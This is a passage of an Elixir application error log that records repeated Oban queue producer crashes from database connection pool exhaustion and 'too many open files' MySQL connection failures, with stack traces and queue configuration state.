    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:44:31.242073Z], limit: 50, uuid: "4dadab92-9b47-4551-bfb0-57ab2eae73c9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:31.242079Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28040>, refresh_timer: #Reference<0.2525715032.1099431938.28019>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:44:31.240882Z], limit: 5, uuid: "5b7561c4-6d5e-49a3-aa27-8a9ccbf4433c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:31.240887Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261488>, refresh_timer: #Reference<0.2525715032.1077411843.261452>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:44:31.240435Z], limit: 3, uuid: "f5948120-904c-45fa-8430-5d494d1c9ef7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:31.240440Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261489>, refresh_timer: #Reference<0.2525715032.1077411843.261429>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:44:31.240217Z], limit: 5, uuid: "278aa25d-5112-4828-86ab-04dcd26e8c6a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:31.240223Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261487>, refresh_timer: #Reference<0.2525715032.1077411843.261419>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:44:31.242786Z], limit: 10, uuid: "37bcca97-9f95-49ce-93bb-64db68b11390", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:31.242792Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.28039>, refresh_timer: #Reference<0.2525715032.1099431938.28030>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:44:31.240676Z], limit: 20, uuid: "8c3b85dc-b60a-4dda-88ea-6caa6d867cd8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:31.240681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261486>, refresh_timer: #Reference<0.2525715032.1077411843.261444>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:44.826000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:46.064000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:49.878000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:50.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:54.835000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:44:44.240012Z], limit: 5, uuid: "d92f035e-6c32-40d7-85c2-652a2585520b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:44.240019Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261855>, refresh_timer: #Reference<0.2525715032.1068498948.27942>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:44:44.239262Z], limit: 50, uuid: "479bd898-249b-4eee-8d8e-6d5ba9e81a53", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:44.239270Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261856>, refresh_timer: #Reference<0.2525715032.1068498948.27922>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:44:44.239809Z], limit: 5, uuid: "65ae6d11-df97-4d42-b02d-911960304913", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:44.239814Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261853>, refresh_timer: #Reference<0.2525715032.1077411843.261824>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:56.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
